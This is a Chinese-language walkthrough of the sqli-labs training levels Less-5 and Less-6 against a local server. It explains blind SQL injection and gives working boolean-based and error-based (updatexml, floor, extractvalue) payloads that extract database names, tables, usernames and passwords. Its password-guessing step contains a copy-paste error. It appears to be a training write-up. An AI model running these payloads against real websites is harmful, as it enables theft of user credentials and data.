目录
Less-5
Less-6
何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显
到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注可以分为三类:
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
关于注入的基础知识可以参考此篇文章:SQL盲注的简单分析 - linuxsec - 博客园。
源码片段:
从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了,所以我们不能利用上述less1-4的方法 。
说明把1'带入了数据库进行了查询,存在sql注入。
此处需要用报错注入。
方法1:
1.判断数据库长度:
输入http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=7--+时,报错:
输入http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=8--+时,返回正常:
因此可以判断出数据库的长度为8.
2.判断数据库名:
需要从第一位开始猜:
输入http://127.0.0.1/sqli/Less-5/?id=1' and left(database(),1)>'a'--+时,返回正常:
输入http://127.0.0.1/sqli/Less-5/?id=1' and left(database(),1)<'z'--+时,返回正常:
当判断到s时,输入http://127.0.0.1/sqli/Less-5/?id=1' and left(database(),1)='s'--+时,返回正常:
可以推测出数据库名的第一个字母为s;
然后用同样的方法猜第二位:
输入http://127.0.0.1/sqli/Less-5/?id=1' and left(database(),2)>'sa'--+时,返回正常:
当输入http://127.0.0.1/sqli/Less-5/?id=1' and left(database(),2)='se'--+时,返回正常:
可以判断出数据名的前两个字符是se,对于这种报错注入没有什么好的办法,只能慢慢的一次一次的尝试,或是使用二分法对其进行测试,最终测试出数据库名为:security
3.判断数据库中的表名:
输入http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n--+
a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数,利用这种方法可以判断出数据库中的所有表名,然后可以找到最有用的user表。
4.猜用户:
输入http://127.0.0.1/sqli/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from S. M order by id limit A,1),B,1))=N--+
其中S 为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。
5.猜密码:
输入http://127.0.0.1/sqli/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N --+
其中S 为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。
由此便可以猜解出所有的信息。
方法2
也可以通过直接报错来获取想要的信息:
报错注入的概念:
(1). 通过floor报错 and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符;
(2). 通过updatexml报错 and updatexml(1, payload,1)同样该语句对输出的字符长度也做了限制,其最长输出32位并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;
(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。
1.获取库名:
http://127.0.0.1/sqli/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
2.爆表名:
http://127.0.0.1/sqli/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+
3.爆用户名:
http://127.0.0.1/sqli/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
4.爆密码:
http://127.0.0.1/sqli/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
Less-6 和第5关一样 只不过将单引号换成了双引号,因此可以参考第五关。